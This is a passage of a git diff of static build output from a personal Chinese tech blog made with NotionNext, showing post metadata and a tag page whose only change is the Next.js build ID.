2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}],"tag":"文字"},"__N_SSG":true},"page":"/tag/[tag]","query":{"tag":"文字"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git "a/tag/\346\227\245\345\277\227.html" "b/tag/\346\227\245\345\277\227.html"
index b5c592ae7..8db38b0b0 100644
--- "a/tag/\346\227\245\345\277\227.html"
+++ "b/tag/\346\227\245\345\277\227.html"
@@ -1,8 +1,8 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>日志 | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="日志 | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/日志"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="日志 | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div class="mt-10"><div class="w-full justify-center"><div id="posts-wrapper"><div class="undefined py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="my-10 flex justify-between font-medium text-black dark:text-gray-100 space-x-2"><a rel="prev" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E6%97%A5%E5%BF%97/page/0">←<!-- -->Prev</a><a rel="next" class="invisible text-center w-full duration-200 px-4 py-2 hover:border-green-500 border-b-2 hover:font-bold" href="/tag/%E6%97%A5%E5%BF%97/page/2">Next<!-- -->→</a></div></div></div></div><div id="jump-to-top" data-aos="fade-up" data-aos-duration="300" data-aos-once="false" data-aos-anchor-placement="top-center" class="fixed xl:right-80 right-2 mr-10 bottom-24 z-20"><i class="fas fa-chevron-up cursor-pointer p-2 rounded-full border bg-white dark:bg-hexo-black-gray"></i></div></div><div class="md:hidden"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div style="width:32rem" class="hidden xl:block dark:border-transparent relative z-10 "><div class="py-14 px-6 sticky top-0"><div class="py-4"></div></div></div></main><div id="gitbook-left-float" class="fixed top-0 left-0 z-40 md:hidden"><div class="-ml-80 animate__slideOutLeft overflow-y-hidden shadow-card w-72 duration-200 fixed left-1 top-16 rounded py-2 bg-white dark:bg-gray-600"><div class="dark:text-gray-400 text-gray-600 h-96 overflow-y-scroll p-3"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div></div><div id="left-drawer-background" class="hidden fixed top-0 left-0 z-30 w-full h-full"></div></div><script async="" src="https://www.googletagmanager.com/gtag/js?id=G-XT4YTFWNBG"></script><script async="">
+<!DOCTYPE html><html lang="zh-CN"><head><title>日志 | Tags | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="Notion, 博客"/><meta name="description" content="talk is cheap"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="日志 | Tags | Both Savage"/><meta property="og:description" content="talk is cheap"/><meta property="og:url" content="https://bothsavage.github.io//tag/日志"/><meta property="og:image" content="https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="website"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="talk is cheap"/><meta name="twitter:title" content="日志 | Tags | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta name="next-head-count" content="18"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/tag/%5Btag%5D-27fd94272e69240a.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div 